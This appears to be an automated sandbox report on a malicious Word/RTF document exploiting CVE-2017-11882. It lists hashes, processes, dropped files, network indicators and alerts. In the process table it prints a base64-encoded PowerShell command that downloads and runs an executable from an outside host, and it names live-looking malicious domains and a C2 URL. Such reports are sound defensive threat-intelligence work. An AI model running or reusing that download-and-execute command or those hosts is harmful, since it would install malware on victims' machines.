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download:

SFexpresss.doc

Full analysis: https://app.any.run/tasks/0640983b-ffc0-4a3c-bbe8-34075eb8da2f
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

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Analysis date: May 15, 2019, 07:49:18
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
exploit
CVE-2017-11882
opendir
loader
Indicators:
MIME: text/rtf
File info: Rich Text Format data, version 1, unknown character set
MD5:

C7E2BF7DBBC63C8FBB705ED9F6DD9BCE

SHA1:

4152137843E9184B60F44432BB1912E40B98ACAE

SHA256:

4A1D43537EF7960C28E21048A8DC64E1682452ED6E828E98D4B95AFC831F0880

SSDEEP:

24:GQhkHbGDX14mTzDXlI5xax9kCIzxVfsdDYTFe+9O9ya6bUCUTmc0C2N1WBHShyLE:BebGDvTzDXi5xokbzjEsTlRen2HwE

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Equation Editor starts application (CVE-2017-11882)

      • EQNEDT32.EXE (PID: 2860)

    • Application was dropped or rewritten from another process

      • nvbackend.exe (PID: 3612)

    • Downloads executable files from the Internet

      • powershell.exe (PID: 1424)

    • Loads dropped or rewritten executable

      • nvbackend.exe (PID: 3612)

  • SUSPICIOUS

    • Creates files in the user directory

      • EQNEDT32.EXE (PID: 2860)
      • powershell.exe (PID: 1424)

    • Reads internet explorer settings

      • EQNEDT32.EXE (PID: 2860)

    • Executes PowerShell scripts

      • EQNEDT32.EXE (PID: 2860)

    • Executable content was dropped or overwritten

      • nvbackend.exe (PID: 3612)
      • powershell.exe (PID: 1424)

  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 3152)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 3152)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.rtf | Rich Text Format (100)
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
41
Monitored processes
6
Malicious processes
1
Suspicious processes
1

Behavior graph

Click at the process to see the details
start winword.exe no specs eqnedt32.exe powershell.exe cmd.exe no specs nvbackend.exe nslookup.exe

Process information

PID
CMD
Path
Indicators
Parent process
3152"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\SFexpresss.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
2860"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
svchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Exit code:
0
Version:
00110900
1424"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w 1 -e aQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABmAGkAbABlACgAIgBoAHQAdABwADoALwAvAGkALQB2AG4AcwB3AGUAeQB1AC4AcABsAC8AYgAvAHAAdQB0AHkALgBlAHgAZQAiACwAIgAkAGUAbgB2ADoAdABlAG0AcABcAG4AdgBiAGEAYwBrAGUAbgBkAC4AZQB4AGUAIgApACkAOwA=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EQNEDT32.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3544cmd /c %temp%\nvbackend.exeC:\Windows\system32\cmd.exe—wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3612C:\Users\admin\AppData\Local\Temp\nvbackend.exeC:\Users\admin\AppData\Local\Temp\nvbackend.exe
cmd.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
2164"C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe
nvbackend.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
nslookup
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
1 470
Read events
1 028
Write events
0
Delete events
0

Modification events

No data
Executable files
3
Suspicious files
3
Text files
5
Unknown types
2

Dropped files

PID
Process
Filename
Type
3152WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRF5C7.tmp.cvr —
MD5:—
SHA256:—
1424powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\0VM4MNASFK5I91JK6I80.temp —
MD5:—
SHA256:—
3612nvbackend.exeC:\Users\admin\AppData\Local\Temp\nsg4E87.tmp —
MD5:—
SHA256:—
3152WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:17222E7BED955763CB75EBDA153E0074
SHA256:EAEB163582F92B56C14963150DA7DBEA34565552F3D187A793BE19BEB0978882
1424powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF124379.TMPbinary
MD5:131DC75F6D4142CA9244945A91A71E8D
SHA256:F17C463C77B5DA9E795770A82E0A7FB1023023F44397F6E080721E9811B2A0C4
2860EQNEDT32.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H6QNMHE9\imFpN5NN[1].txthtml
MD5:529CB06933CCD1822817936F1F48B5DF
SHA256:FC6526612C6B29724C82BC14CB649D9EF04A45263943ECEA0DD178B25E5EB939
1424powershell.exeC:\Users\admin\AppData\Local\Temp\nvbackend.exeexecutable
MD5:11E1E4E1836775442A4F043406C14C40
SHA256:3C24BA64E204A26CEA64D7C6F559226B7C8DE3CCAFE519E10AEAFC8D7BD894BF
3612nvbackend.exeC:\Users\admin\AppData\Local\Temp\Jambiyabinary
MD5:08FA076B61523314E02508546C503859
SHA256:AD914BF8BA3DA8523CE8D0C73994E6EDDC63243C6EFB62C5D325A46EF2E5559B
1424powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:131DC75F6D4142CA9244945A91A71E8D
SHA256:F17C463C77B5DA9E795770A82E0A7FB1023023F44397F6E080721E9811B2A0C4
3612nvbackend.exeC:\Users\admin\AppData\Local\Temp\GetStartedAppList.targetsize-96.pngimage
MD5:5867D059510B9734AD85AC456D606B05
SHA256:92E19DA3DDF09C4EEB41F75BA6C4D5A471E2B75C354ED50A70F8B3C582440920
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
4
DNS requests
4
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
1424
powershell.exe
GET
200
198.98.59.62:80
http://i-vnsweyu.pl/b/puty.exe
US
executable
306 Kb
malicious
2164
nslookup.exe
POST
—
46.232.113.12:80
http://www.yinqli.com/bt/praise/cs/zz/index.php
RU
—
—
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2860
EQNEDT32.EXE
104.20.209.21:443
pastebin.com
Cloudflare Inc
US
shared
2164
nslookup.exe
46.232.113.12:80
www.yinqli.com
MAROSNET Telecommunication Company LLC
RU
malicious
1424
powershell.exe
198.98.59.62:80
i-vnsweyu.pl
FranTech Solutions
US
suspicious

DNS requests

Domain
IP
Reputation
pastebin.com
  • 104.20.209.21
  • 104.20.208.21
shared
i-vnsweyu.pl
  • 198.98.59.62
malicious
www.yinqli.com
  • 46.232.113.12
malicious

Threats

PID
Process
Class
Message
1424
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
1424
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
No debug info
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SFexpresss.doc